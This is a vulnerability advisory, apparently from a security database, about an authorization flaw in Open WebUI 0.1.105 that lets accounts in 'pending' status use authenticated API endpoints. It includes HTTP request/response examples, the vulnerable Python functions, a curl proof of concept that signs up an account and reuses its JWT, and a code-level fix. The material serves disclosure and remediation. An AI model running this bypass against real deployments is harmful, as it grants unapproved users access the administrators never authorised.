PT-2026-59347 — Pypi Open-Webui

PT-2026-59347 · Pypi · Open-Webui

Publicado

2026-07-13

Atualizado

2026-07-13

CVSS v3.1

7.3

Alta

Vetor

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CONFIDENTIAL

Vulnerability Disclosure Analysis Documentation

Vulnerability Details

#	Field	Value
1	Discoverer	Taylor Pennington of KoreLogic, Inc.
2	Date Submitted	June 11, 2024
3	Title	Open WebUI Improper Authorization Control
5	Affected Vendor	Open WebUI
6	Affected Product(s)	Open WebUI (Formerly Ollama WebUI)
7	Affected Version(s)	0.1.105
8	Platform/OS	Debian GNU/Linux 12 (bookworm)
9	Vector	HTTP web interface
10	CWE	285 Improper Authorization

4. High-level Summary

There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.

11. Technical Analysis

The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.

Request

http

POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60

{ 
 "name": "", 
 "email": "bad guy@korelogic.com", 
 "password": "a" 
 }

Response

http

HTTP/1.1 200 OK
...

{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "bad guy@korelogic.com",
"name": "",
"role": "pending",
"profile image url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token type": "Bearer"
}

An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.

With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.

Request

http

GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs

Response

http

HTTP/1.1 200 OK
...

{
"models": [
  {
  "name": "ollama.com/emsi/mixtral-8x22b:latest",
  "model": "ollama.com/emsi/mixtral-8x22b:latest",
  "modified at": "2024-04-12T17:27:51.479356401-04:00",
  "size": 79509285991,
  "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
  "details": {
    "parent model": "",
    "format": "gguf",
    "family": "llama",
    "families": ["llama"],
    "parameter size": "141B",
    "quantization level": "Q4 0"
  },
  "urls": [0]
  },
  ...
]
}

The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180

As shown below, the login checks if url idx is None and if so, call get all mdoels and assign the result to models after that the logic checks if app.state.MODEL FILTER ENABLED is true and if not, it returns the result. As MODEL FILTER ENABLED is not configured by default, the application will not attempt to further validate the user.

python

@app.get("/api/tags")
@app.get("/api/tags/{url idx}")
async def get ollama tags(
  url idx: Optional[int] = None, user=Depends(get current user)
):
  if url idx == None:
    models = await get all models()
    
    if app.state.MODEL FILTER ENABLED:
      if user.role == "user":
        models["models"] = list(
          filter(
            lambda model: model["name"] in app.state.MODEL FILTER LIST,
            models["models"],
          )
        )
        return models
    return models

This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.

The vulnerability is caused by a missing authorization check that occurs with user=Depends(get current user). The logic of that function is found here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97

python

def get current user(
auth token: HTTPAuthorizationCredentials = Depends(bearer security),
):
  # auth by api key
  if auth token.credentials.startswith("sk-"):
    return get current user by api key(auth token.credentials)
  # auth by jwt token
  data = decode token(auth token.credentials)
  if data != None and "id" in data:
    user = Users.get user by id(data["id"])
    if user is None:
      raise HTTPException(
        status code=status.HTTP 401 UNAUTHORIZED,
        detail=ERROR MESSAGES.INVALID TOKEN,
      )
    return user
  else:
    raise HTTPException(
      status code=status.HTTP 401 UNAUTHORIZED,
      detail=ERROR MESSAGES.UNAUTHORIZED,
    )

As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.

12. Proof-of-Concept

First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:

bash

curl -s -X $'GET' 
  -H $'Host: openwebui.example.com' 
  -H $'Content-Type: application/json' 
  $'https://openwebui.example.com/ollama/api/tags'

The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.

Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.

bash

export JWT=$(curl -s -X POST 
  -H 'Host: openwebui.example.com' -H 'Content-Length: 60' 
  -H 'Content-Type: application/json' 
  --data '{"name":"","email":"bad guy@korelogic.com","password":"a"}' 
  'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')

curl -v $'GET' 
  -H $'Host: openwebui.example.com' 
  -H $'Content-Type: application/json' 
  -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' 
  --data-binary $'x0dx0a' 
  $'https://openwebui.example.com/ollama/api/tags'

Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.

13. Mitigation Recommendation

The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116 for the correct function to use.

python

def get verified user(user=Depends(get current user)):
if user.role not in {"user", "admin"}:
  raise HTTPException(
    status code=status.HTTP 401 UNAUTHORIZED,
    detail=ERROR MESSAGES.ACCESS PROHIBITED,
  )
return user

Modify all authenticated endpoints to utilize get verified user() function instead of get current user().

Correção

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dbugs@ptsecurity.com

Identificadores relacionados

PYSEC-2026-2703

Produtos afetados

Open-Webui